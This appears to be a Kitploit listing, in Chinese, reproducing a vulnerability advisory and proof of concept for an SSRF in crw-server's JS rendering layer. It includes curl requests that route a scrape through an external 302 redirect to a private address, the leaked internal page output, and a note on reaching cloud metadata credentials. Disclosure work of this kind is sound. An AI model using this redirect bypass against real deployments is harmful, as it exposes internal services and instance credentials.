Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
crw-PoC — PoC — 通过 JS 渲染层绕过 crw 中 URL 安全过滤器的 SSRF(GHSA-5jp3-339h-vxqw,CVE-2026-87007,CVSS 7.5)。 | Kitploit
工具/GitHubGitHub/squeeze440/crw-poc
漏洞分析漏洞利用Web安全渗透测试
GitHubsqueeze440/crw-poc

crw-PoC

PoC — 通过 JS 渲染层绕过 crw 中 URL 安全过滤器的 SSRF(GHSA-5jp3-339h-vxqw,CVE-2026-87007,CVSS 7.5)。

查看仓库
7天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

crw:安全公告

CVE 状态: 已申请,等待分配。此发现已发布为 GHSA-5jp3-339h-vxqw。在 CVE 分配后,此仓库将重命名为 CVE-YYYY-NNNNN-crw-PoC,并且此横幅将替换为 CVE 链接。

研究员Dostxodjayev Abdullox (@squeeze440)
公告GHSA-5jp3-339h-vxqw
CVSS 3.17.5(高)
弱点CWE-918

摘要

在 crw-server 中,SSRF 允许/拒绝列表(crw_core::url_safety)仅在请求被分发到渲染器之前,针对调用方提供的 url 执行一次;随后,由 CDP 驱动的 JS 渲染层(LightPanda——默认 JS 渲染器——以及 Chrome)通过 Page.navigate 驱动目标页面,并在浏览器自身的网络栈内完全跟随所有后续重定向、JS 触发的导航以及页面内 XHR/fetch,在任何时刻都不再调用 url_safety,从而允许已认证(或在默认无密钥部署下未认证)的调用方通过设置 renderJs:true,借助单个外部开放重定向将爬虫转向 RFC1918/回环/链路本地地址空间,并在 API 响应体中读回内部服务的响应。

产品

fastCRW / crw — crw-server(REST API,也可通过进程内 crw-mcp MCP 工具层以相同方式访问,该工具层调用相同的 crw_server::routes::mcp::call_tool 代码路径)。

测试版本

提交 9f1e5ea5555bbf29cd41e454902be0cd804a15e4(v0.28.0,测试时 main 的顶端),通过项目自带的 docker-compose.yml --profile heavy 构建并运行。

估计 CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5(高)

  • PR:N:随附的自托管默认配置(config.docker.toml)没有 [auth]/api_keys 部分,与 GHSA-qq8c-fch4-cxq7 中已记录的“设计上开放”默认值一致。确实配置了 API 密钥的部署会将其降级为 PR:L(任何单个已认证租户仍可将其共享引擎转向其运行所在的任意内部网络)——该漏洞不会因添加密钥而得到缓解,只是被重新设限。
  • I:N/A:N:PoC 演示了对内部 HTTP 响应的读回(机密性)。未对内部目标执行或声称任何写入/状态更改操作。
  • S:U:披露完全通过易受攻击组件自身的 API 响应通道进行中介。

详情

根本原因:CDP/浏览器渲染器路径在路由层执行一次检查后,从未调用 crw_core::url_safety。

  • crates/crw-server/src/routes/scrape.rs:29-34(在 crawl.rs:47/136、map.rs:73/58、extract.rs:178/95、batch.rs:111/102、v2/*、routes/mcp.rs:25 中相同)——对于 JS 渲染请求,整个请求生命周期中唯一的 SSRF 检查:crw_core::url_safety::validate_safe_url_resolved(&parsed_url) 针对调用方的字面 url 运行一次,之后才调用渲染器。
  • crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner 的 work future 将带有原始 url 的 Page.navigate 直接发送到 CDP 端点(由 和 层共享——两者都通过此同一函数使用 CDP)。Chrome/LightPanda 随后执行自己的 DNS 解析,并在内部跟随任何服务器端重定向、 或 JS 更改。 中任何地方都不存在对 的调用。

概念验证

针对项目自带的 docker-compose.yml --profile heavy 栈(crw + lightpanda + chrome,从测试提交构建)进行了动态确认。

  1. 在与 crw/chrome/lightpanda 相同的 Docker 桥接网络(docker network: source_default)上,于私有地址 172.19.0.6 搭建了一个“内部服务”替身——一个普通 nginx 容器,提供带有逼真内部外观内容的页面(标题为 "Internal Ops Console",一个会话令牌形状的值)。
  2. 基线——确认过滤器正常工作:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (截图:evidence/ssrf_baseline_blocked.png)
  3. 绕过——相同重定向,请求 JS 渲染层:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    结果:、、——内部服务器的内容被返回给调用方;工具自身的 警告表明它自己跟随请求到了被阻止的地址,却仍然返回内容。(截图:)

https://httpbin.org/redirect-to 代表“任何可外部访问且返回 302 的 URL”;真实攻击者会将其托管在自己的域名上。172.19.0.6 代表 url_safety 旨在阻止的范围内的任何地址(RFC1918、回环、链路本地/169.254.169.254 云元数据、.internal)——绕过发生在任何范围检查运行之前(CDP 路径根本不调用 url_safety),因此它并非特定于此一个被阻止的范围。此本地实验环境中没有可用的实时云元数据端点,因此该特定目标未被直接测试;这是直接的、代码追踪的推断,而非未经测试的断言。

影响

任何能够访问 /v1/scrape、/v2/scrape、/v1/crawl、/v1/map、/v1/extract、其批量/v2 等价端点或等效 MCP 工具的调用方——在 renderJs:true 的情况下——都可以将目标 crw 部署用作开放的内部网络代理:读取部署者回环服务的响应、RFC1918 寻址的内部服务(数据库、管理面板、内部 API),以及——在任何云托管部署上——实例的云元数据端点(169.254.169.254),可能恢复 IAM/实例凭证。在随附的自托管默认配置(未配置 API 密钥)下,这完全不需要认证。

弱点

  • CWE-918:服务器端请求伪造(SSRF)
  • CWE-441:非预期代理或中间人(“混淆代理”)

修复

已接入 CDP 层(crates/crw-renderer/src/cdp.rs,由 blocklist.rs 中的 Blocklist 驱动)的 Fetch.requestPaused 拦截泵是天然的扼流点:扩展它(或从同一泵为 chrome 和 lightpanda 后端添加一个同级检查),对每个被拦截请求的 URL 调用 crw_core::url_safety::validate_safe_url——覆盖初始导航、每个重定向跳转、每个 JS 驱动的导航以及每个同页 XHR/fetch/iframe 加载——并对任何解析到被阻止主机的请求执行 Fetch.failRequest,与 safe_redirect_policy() 已为 http_only 层所做的相匹配。注意这意味着当 SSRF 保护依赖于 Fetch.enable/拦截运行时,它不能再有条件地保持关闭。作为纵深防御,还应将 crates/crw-crawl/src/single.rs:559-569 中现有的导航后 final_url 检查从装饰性的 warnings 条目改为通过 的硬失败,以捕获任何漏过拦截的情况(例如第一个响应与 的设置发生竞争)。

致谢

Dostxodjayev Abdullox

报告渠道

.github/SECURITY.md(渲染于 https://github.com/us/crw/security):GitHub 私有漏洞报告是首选渠道(“从本仓库的 Security 选项卡打开报告”),并以 [email protected] 作为电子邮件后备。已确认此仓库确实处于活跃开放状态:gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true,并且在 https://github.com/us/crw/security 上观察到活跃的“Report a vulnerability”按钮(链接到 https://github.com/us/crw/security/advisories/new)。该页面上的范围声明明确包括“crw-server 二进制文件及本仓库中的所有工作区 crate”和“MCP 服务器(crw-mcp)”;它排除“渲染器调用的第三方无头浏览器(Chromium、Lightpanda)”——此发现是关于 crw 自身在 CDP 导航调用周围缺失验证,而非 Chromium/Lightpanda 本身的缺陷,因此属于范围内。

下载工具
chrome
lightpanda
<meta http-equiv="refresh">
location
cdp.rs
url_safety
  • crates/crw-renderer/src/blocklist.rs:1-124 — CDP 渲染期间运行的唯一逐请求 Fetch.requestPaused 拦截逻辑(在 cdp.rs 中约第 930-1002 行接入)。它仅出于带宽/噪声原因过滤广告/跟踪器主机和阻止的资源类型(图像、字体等)——它从不检查请求的目标是否属于私有/回环/链路本地范围。
  • crates/crw-crawl/src/single.rs:559-569 — 唯一检查导航后 final_url 的地方。redirect_is_material() 仅决定是否将装饰性的 "redirected_to: <url>" 字符串附加到 data.warnings(以标记“你得到了错误的页面”,根据引用 northernair.ca 的注释)——它从不调用 url_safety::validate_safe_url*,也从不使请求失败。
  • 对比:crates/crw-renderer/src/http_only.rs:291 — 纯 HTTP(非 JS)层正确将其 reqwest::Client 包装在 crw_core::url_safety::safe_redirect_policy() 中,该策略会(通过 DNS 解析)重新验证每个重定向跳转。这正是 CDP 层所缺失的保护。动态确认:使用 renderJs:false 的同一 PoC 请求被正确拒绝("error following redirect",见基线截图)。
  • HTTP 200
    "success":true
    "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}}
    redirected_to
    知道
    evidence/ssrf_chrome_tier_bypass.png
  • 确认该绕过在默认回退链上也会触发,且没有显式固定渲染器(仅 "renderJs":true——调用方请求 JS 渲染的普通方式):阶梯选择了 lightpanda("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}、"renderedWith":"lightpanda")并返回了相同的内部内容,证明两个 CDP 层(不仅仅是 chrome)都存在此缺口。
  • url_safety::validate_safe_url_resolved
    Fetch.enable